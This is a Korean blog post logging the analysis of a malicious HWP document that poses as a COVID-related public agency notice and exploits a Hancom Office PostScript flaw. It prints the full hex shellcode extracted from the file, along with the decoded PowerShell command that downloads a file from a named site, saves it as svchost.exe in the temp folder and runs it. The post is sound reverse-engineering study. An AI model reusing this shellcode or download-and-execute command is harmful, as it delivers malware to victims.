악성코드 분석 일지(한글문서)

2021. 9. 21. 18:26보안 연구/Reversing

반응형

 

 

본 티스토리 블로그는 PC환경에 최적화되어 있습니다.

모바일 유저분들은 아래 네이버 블로그를 이용해 주세요.

 

악성코드 분석 일지(한글문서)

본 네이버 블로그는 모바일 환경에 최적화되어 있습니다. PC 유저분들은 아래 티스토리 블로그를 이용해 ...

blog.naver.com

 

 

최근 재난지원금, 코로나 관련 정보를 통해 피싱, 해킹 메일 등 다양한 방면에서 활용되고 있으며 그에 따른 피해 규모도 점점 커지고 있는 추세입니다.

오늘 분석할 샘플은 코로나 관련 공공기관을 사칭한 악성코드 삽입 한글 문서이며, 한컴오피스의 취약점을 이용한 것이 큰 특징입니다.

 

한번 해당 샘플을 부검해 보도록 합시다!!!

 

1. File Information

좌(바이러스 바자), 우(문서 화면)

 

2. Analysis

- Post Script 추출

해당 문서를 열게 되면 악성코드가 동작하는 방식이며, 이는 내부에 특정 코드가 숨어있다는 것을 알 수 있습니다.

 

아래는 hwp 파일구조와 SSview로 샘플을 열어본 화면입니다.

hwp 파일 구조에서 BinData는 문서 내부 이미지 파일과 같은 바이너리 정보를 저장해놓는 곳인데 SSview로 확인해 보면. ps 확장자의 포스트스크립트가 존재함을 알 수 있습니다.

(.ps 파일은 포스트스크립트 확장자로서 일종의 기술 언어로 그림, 글자를 어떻게 배치할지 등의 정보를 기술할 수 있습니다.)

 

하지만 압축이 걸려있기에 이대로는 분석이 불가능하므로 압축 해제해 보도록 하겠습니다.

압축을 해제하는 방법은 hwpscan2를 사용하거나 직접 파이썬 코드를 작성하면 되는데 hwpscan 도구는 유료 전환이 됨에 따라 이용이 불가능하므로 직접 코딩하여 풀도록 하겠습니다.

 

일반적인 방식으로 zlib을 풀려고 시도하면 에러가 나는데 자료를 조사해 본 결과 -15를 인자로 집어넣어 주면 해결이 가능하다는 것을 알아냈습니다.

 

아래는 zlib 관련 참고 링크입니다.

 

한글 eps, zlib decompress 파이썬 코드

한글 문서형 악성코드는 한글의 eps 취약점을 사용하는 경우가 많다. eps는 BinData 영역에 .eps 형태로 있는데 zlib로 압축되어 있는 상태이다. 한글 스토리지 뷰어? 툴중에 가장 많이 쓰이는게 아무

liveyourit.tistory.com

 

 

- ShellCode 추출

추출된 스크립트 파일을 헥스 에디터에 넣으면 다음과 같은 결과를 얻을 수 있습니다.

change.log
0.01MB

 

추출된 스크립트 중에서 유독 눈에 띄는 부분이 존재합니다.

/xyz77 <33C964A1300000008B400C8B7014AD96AD8B58108B533C03D38B527803D38B722003F333C941AD03C381384765745075F4817804726F634175EB8178086464726575E28B722403F3668B0C4E498B721C03F38B148E03D333F68BF233C9516861727941684C696272684C6F61648BCC5153FFD233C966B96C6C516872742E64686D7376638BCC51FFD033FF8BF833D25266BA656D5268737973748BCC515733D28BD6FFD2E8B0000000706F7765727368656C6C20286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F7777772E736F66612E72732F77702D636F6E74656E742F7468656D65732F7477656E74796E696E657465656E2F736173732F6C61796F75742F68312E6A7067272C272574656D70255C5C737663686F73742E65786527293B202574656D70255C5C737663686F73742E6578653B00FFD033D25268657869748BCC5157FFD6FFD0>

 

해당 hex 값을 헥스 에디터에 넣어보니 다음과 같습니다.

파워쉘, 윈도우 기본 프로그램이 키워드로 나오는 것을 보아 아마 쉘코드일 가능성이 높습니다.

해당 코드를 exe 파일로 추출하여 IDA로 디컴파일해보도록 하겠습니다.

 

 

 

추출된 실행 파일을 디컴파일하면 다음과 같은 결과를 확인할 수 있습니다.

흠... pe studio로 확인해 보니 한수 당했습니다..

 

PE 파일에 장난질을 해놔서 디컴파일이 제대로 진행되지 않은 것 같습니다.

해커가 이렇게 나온다면 우리는 단단한 멘탈로 대응해 줍시다!!! immunity ON!!!!

 

해당 실행파일을 디버깅해보니 다음과 같은 동작이 확인되었습니다.

 

1)msvcrt.dll 로딩

LoadlibraryA 함수를 호출하여 "msvcrt.dll" 라이브러리 파일을 로딩하고 있습니다.

 

2) system 함수 포인터 로딩

 

3. system 함수 호출

 

system 함수에 들어가는 인자는 아래와 같습니다.

1.powershell (new-object System.Net.WebClient).DownloadFile('http://www.sofa.rs/wp-content/themes/twentynineteen/sass/layout/h1.jpg','%temp%\\svchost.exe');

2.%temp%\\svchost.exe;

 

즉, http://www.sofa.rs 사이트에 접속하여 h1.jpg, svchost.exe 파일을 다운로드한 다음 temp 경로의 svchost.exe 파일을 실행시키는 것으로 확인됩니다.  

 

아쉽게도 해당 URL은 이미 셧다운 된 뒤라 그 이상의 정보를 얻을 수는 없었습니다.

 

이전에 다른 리버서가 굉장히 잘 분석해놓은 보고서도 있으니 참고하는 것도 좋을 것 같습니다.

 

악성코드 분석(전라남도 코로나바이러스 대응 긴급 조회.hwp)

[개요] [1] ASEC 분석팀은 "전라남도 코로나바이러스 대응 긴급 조회.hwp"로 위장한 악성 문서파일을 발견하고 패치했다. 해당 정보를 확인하고 [2] 무료 샌드박스 서비스(any.run)에서 파일을 다운로

suspected.tistory.com

 

분석이 익숙하지 않아서 질이 높지는 않지만 꾸준히 연습을 진행해야겠네요....

 

반응형

'보안 연구 > Reversing' 카테고리의 다른 글

프로젝트 2일차  (0) 2022.01.15
프로젝트 1일차  (0) 2022.01.15
Hardware Reversing - 아두이노 기본(1)  (0) 2022.01.03
Window Message Hook basic  (0) 2021.12.08
악성코드 분석 일지(랜섬웨어)  (0) 2021.09.19